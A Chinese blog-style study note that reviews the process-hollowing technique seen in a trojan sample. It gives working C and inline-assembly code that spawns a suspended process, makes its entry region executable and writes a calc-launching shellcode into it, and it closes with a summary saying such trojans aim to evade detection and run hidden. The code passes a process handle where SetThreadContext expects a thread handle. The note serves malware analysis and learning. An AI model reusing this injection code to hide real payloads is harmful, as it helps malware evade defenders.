傀儡进程加载复习
样本:2016-04-20
特点:加载傀儡进程,解密恶意代码
#include "creature.h"
#include <Windows.h>
#include <iostream>
void creature()
{
WCHAR *wsAppName = NULL;
WCHAR *wsCmdLine = GetCommandLineW();
STARTUPINFOW stStartupInfo ={0};
PROCESS_INFORMATION stProcessInfo = {0};
/*wsAppName = new WCHAR[MAX_PATH];
GetModuleFileNameW(NULL, wsAppName, MAX_PATH);*/
__asm
{
mov eax, dword ptr fs:[0x30] ;_PEB
mov eax, dword ptr ds:[eax+0x10] ;_PEB+0x10, ProcessParameters
mov eax, dword ptr ds:[eax+0x3c] ;ProcessParameters.ImagePathName
mov wsAppName, eax
}
CreateProcessW(wsAppName, wsCmdLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &stStartupInfo, &stProcessInfo);
/*CONTEXT contextChild ={0};
contextChild.ContextFlags = CONTEXT_FULL;
GetThreadContext(stProcessInfo.hThread, &contextChild);
DWORD *pebInfoChild = (DWORD *)contextChild.Ebx;
PVOID baseAddrChild = NULL;
SIZE_T readSize = 0;
ReadProcessMemory(stProcessInfo.hProcess, &pebInfoChild[2], &baseAddrChild, sizeof(DWORD), &readSize);*/
PVOID baseAddrSelf = NULL;
PVOID baseAddrChild = NULL;
__asm
{
mov eax, dword ptr fs:[0x30] ;_PEB
mov eax, dword ptr ds:[eax+0x08] ;_PEB+0x08, ImageBaseAddress
mov baseAddrSelf, eax
}
baseAddrChild = baseAddrSelf; //(baseAddrChild == baseAddrSelf)?
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
typedef DWORD (WINAPI *FPZwUnmapViewOfSection)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress
);
FPZwUnmapViewOfSection fpZwUnmapViewOfSection = (FPZwUnmapViewOfSection)GetProcAddress(hNtdll, "ZwUnmapViewOfSection");
//DWORD dwReturn = fpZwUnmapViewOfSection(stProcessInfo.hProcess, baseAddrChild);
SIZE_T regionSize = 0;
HANDLE hApp = CreateFileW(wsAppName, FILE_READ_EA, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hApp != INVALID_HANDLE_VALUE)
{
regionSize = GetFileSize(hApp, NULL);
CloseHandle(hApp);
}
/*typedef DWORD (WINAPI *PTRZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
PTRZwAllocateVirtualMemory pZwAllocateVirtualMemory = (PTRZwAllocateVirtualMemory)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
LPVOID addrAllocChild = pZwAllocateVirtualMemory(stProcessInfo.hProcess, &baseAddrChild, NULL, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID addrAllocChild = VirtualAllocEx(stProcessInfo.hProcess, baseAddrChild, regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);*/
CONTEXT contextChild ={0};
contextChild.ContextFlags = CONTEXT_FULL;
GetThreadContext(stProcessInfo.hThread, &contextChild);
//contextChild.Eax = (DWORD)addrAllocChild;
DWORD oldPro = 0;
VirtualProtectEx(stProcessInfo.hProcess, (LPVOID)contextChild.Eax, 1024, PAGE_EXECUTE_READWRITE, &oldPro);
SIZE_T writeSize = 0;
char dataShellcode[1024] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8d\x64\x24\x80\x33\xc9"
"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20"
"\x8b\x36\x66\x39\x4f\x18\x75\xf2\x8b\xe8\x8b\x45\x3c\x8b\x4c\x05"
"\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xc0\x50\x50\x50\x50\x66\xb8"
"\x27\x5c\x50\x33\xff\x47\x8b\x34\xbb\x03\xf5\x33\xd2\x99\x66\xad"
"\x66\x2b\xd0\x84\xe0\x75\xf7\x66\x03\xd0\x3b\x14\x24\x75\xe6\x8b"
"\x51\x24\x03\xd5\x66\x8b\x3c\x7a\x8b\x51\x1c\x03\xd5\x8b\x04\xba"
"\x03\xc5\x8b\x54\x24\x04\x89\x44\x94\x08\xfe\x44\x24\x04\x80\x7c"
"\x24\x04\x02\x74\x14\x80\x7c\x24\x04\x03\x74\x1a\x33\xc0\x66\xb8"
"\xcb\x9c\x89\x04\x24\x33\xff\xeb\xac\x33\xc0\x66\xb8\x2e\xca\x89"
"\x04\x24\x33\xff\xeb\x9f\x83\xc4\x08\x33\xc0\x50\xc6\x04\x24\x4c"
"\xc6\x44\x24\x01\x4c\x88\x44\x24\x02\x68\x52\x54\x2e\x44\x68\x4d"
"\x53\x56\x43\x54\xff\x54\x24\x14\x83\xc4\x0c\x89\x44\x24\x0c\x33"
"\xc0\x50\xc6\x04\x24\x65\xc6\x44\x24\x01\x6d\x88\x44\x24\x02\x68"
"\x73\x79\x73\x74\x54\xff\x74\x24\x18\xff\x54\x24\x10\x83\xc4\x08"
"\x89\x44\x24\x10\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\xff\x54\x24"
"\x1c\x83\xc4\x0c\x33\xc0\x50\xff\x54\x24\x0c\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90"; //popup calc
WriteProcessMemory(stProcessInfo.hProcess, (LPVOID)contextChild.Eax, dataShellcode, 1024, &writeSize);
SetThreadContext(stProcessInfo.hProcess, &contextChild);
ResumeThread(stProcessInfo.hThread);
}
小结:还是上回那个vb木马程序,后面创建了傀儡进程,解密并加载恶意程序,手法跟一般的加载傀儡进程大同小异,趁此复习一下。大部分还是在和TEB、PEB打交道,以获取各种关联的资源,比如程序基地址、子进程入口点和PEB等,由于拥有子进程句柄,一切操作都能进行的比较顺利,只要想得到(进程环境结构),基本都好办。跟踪到后面才清晰的记起来,傀儡进程一般指借助正常的程序进程空间,动态加载恶意PE程序,而PE程序加载进内存执行,还会涉及到内存对齐计算和重定位等问题,比较麻烦。所以这里偷了个懒,直接把shellcode写进傀儡进程入口,只为发挥点启发作用,因为无论是解密还是加载过程,都是在内存里计算和复写的过程,最终木马想达到的目的,无非就是绕过检测、隐蔽执行和增加调试难度等。
目前没有反馈
表单载入中...